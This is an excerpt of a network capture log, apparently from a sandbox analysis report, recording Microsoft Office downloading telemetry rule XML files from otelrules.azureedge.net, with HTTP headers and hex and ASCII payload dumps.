2024-11-01 04:53:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045320Z-16849878b78fssff8btnns3b140000000ay00000000009sn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:20 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:20 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:20 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:20 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045320Z-16849878b78smng4k6nq15r6s40000000c1000000000eh04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:20 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:21 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c904ac86-e01e-0003-2a22-2b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045321Z-15b8d89586f4zwgbgswvrvz4vs0000000c40000000001190 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:21 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045321Z-16849878b786lft2mu9uftf3y40000000bu000000000awyh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:21 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:21 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7f3b7c7e-d01e-0049-3ec5-2ae7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045321Z-159b85dff8fdh9tvhC1DFW50vs00000002p000000000b12a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:21 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:21 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:21 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045321Z-16849878b78x44pv2mpb0dd37w00000002k000000000kt3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:21 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:21 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:21 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045321Z-16849878b785jrf8dn0d2rczaw0000000bpg00000000fp1a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:21 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 9b485842-301e-0096-2f9c-27e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-15b8d89586fcvr6p5956n5d0rc0000000gx0000000000d05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:21 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:22 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-16849878b787wpl5wqkt5731b40000000bag000000008qdq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:22 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:22 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-16849878b78qf2gleqhwczd21s0000000asg000000008hup x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:22 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:22 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a9c77195-601e-003e-7294-293248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-15b8d89586f6nn8zqg1h5suba800000005u0000000005fmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:22 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:22 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a9595a72-801e-0015-2bad-26f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045322Z-16849878b78fssff8btnns3b140000000at000000000f3wn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
